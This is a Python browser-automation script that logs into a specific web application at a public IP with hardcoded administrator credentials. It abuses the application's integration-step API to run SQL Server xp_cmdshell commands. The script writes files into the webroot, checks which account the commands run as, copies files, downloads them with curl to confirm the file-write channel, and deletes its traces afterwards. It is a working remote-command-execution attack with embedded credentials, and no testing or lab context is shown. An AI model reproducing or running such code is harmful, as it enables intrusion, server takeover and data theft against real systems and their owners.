#!/usr/bin/env python3
"""v31: Test different file extensions + web.config style file read."""
import asyncio, re, subprocess, os
from playwright.async_api import async_playwright

IP = "198.71.63.125"
APP = "CITYMARTUAPSINGLE"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        await page.goto(f"http://{IP}/{APP}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            print("Login failed"); await browser.close(); return
        print("✅ Login OK")

        async def run_step(name, sql_text):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            print(f"  {name}: success={s} msg={m[:100]}")
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        # Test: Write different file extensions to app webroot
        print("\n=== Test: Write different extensions ===")
        for ext in ["txt", "html", "js", "json", "xml", "csv", "log"]:
            webroot = "D:\\\\i21App\\\\" + APP
            await run_step(f"write_{ext}", "EXEC xp_cmdshell 'echo test > " + webroot + "\\\\sysinfo." + ext + "'")
        
        # Test: Download each extension
        print("\n=== Download tests ===")
        for ext in ["txt", "html", "js", "json", "xml", "csv", "log"]:
            url = f"http://{IP}/{APP}/sysinfo.{ext}"
            dl = subprocess.run(["curl", "-sS", "-m", "10", "-o", f"/tmp/test_{ext}", "-w", "%{http_code}", url],
                               capture_output=True, text=True, timeout=15)
            code = dl.stdout.strip()
            size = os.path.getsize(f"/tmp/test_{ext}") if os.path.exists(f"/tmp/test_{ext}") else 0
            marker = "✅" if code == "200" else "❌"
            print(f"  {marker} {ext:5s} → HTTP {code} size={size}")
        
        # Test: Check if xp_cmdshell actually creates files
        # Use a SQL query to check if the file exists
        print("\n=== Verify file exists via SQL ===")
        await run_step("check_file", "EXEC xp_cmdshell 'if exist D:\\\\i21App\\\\" + APP + "\\\\sysinfo.txt (echo FILE_EXISTS) else (echo FILE_MISSING)'")
        
        # Test: Check if xp_cmdshell 'echo' actually writes
        print("\n=== Verify echo writes ===")
        await run_step("write_and_check", "EXEC xp_cmdshell 'echo CHECK > D:\\\\i21App\\\\" + APP + "\\\\check.txt & type D:\\\\i21App\\\\" + APP + "\\\\check.txt'")

        # Test: Maybe xp_cmdshell runs as different user without write access
        print("\n=== Check who xp_cmdshell runs as ===")
        await run_step("whoami_all", "EXEC xp_cmdshell 'whoami & echo %USERDOMAIN% & echo %USERNAME%'")

        # Test: Try writing to C:\Windows\Temp (always writable)
        print("\n=== Write to Temp ===")
        await run_step("temp_write", "EXEC xp_cmdshell 'echo test > C:\\\\Windows\\\\Temp\\\\sysinfo.txt'")
        
        # Test: Copy from temp to webroot
        print("\n=== Copy temp to webroot ===")
        await run_step("copy_to_webroot", "EXEC xp_cmdshell 'copy C:\\\\Windows\\\\Temp\\\\sysinfo.txt D:\\\\i21App\\\\" + APP + "\\\\sysinfo.txt'")
        
        # Download
        print("\n=== Download after copy ===")
        url = f"http://{IP}/{APP}/sysinfo.txt"
        dl = subprocess.run(["curl", "-sS", "-m", "15", "-o", "/tmp/sysinfo_copy.txt", "-w", "%{http_code}", url],
                           capture_output=True, text=True, timeout=20)
        code = dl.stdout.strip()
        print(f"  {url} → HTTP {code}")
        if code == "200" and os.path.exists("/tmp/sysinfo_copy.txt"):
            print(f"  Content: {open('/tmp/sysinfo_copy.txt').read()[:100]}")
        
        # Cleanup
        print("\n=== Cleanup ===")
        await run_step("cleanup", "EXEC xp_cmdshell 'del D:\\\\i21App\\\\" + APP + "\\\\sysinfo.* C:\\\\Windows\\\\Temp\\\\sysinfo.txt D:\\\\i21App\\\\" + APP + "\\\\check.txt', no_output")

        await browser.close()

asyncio.run(main())
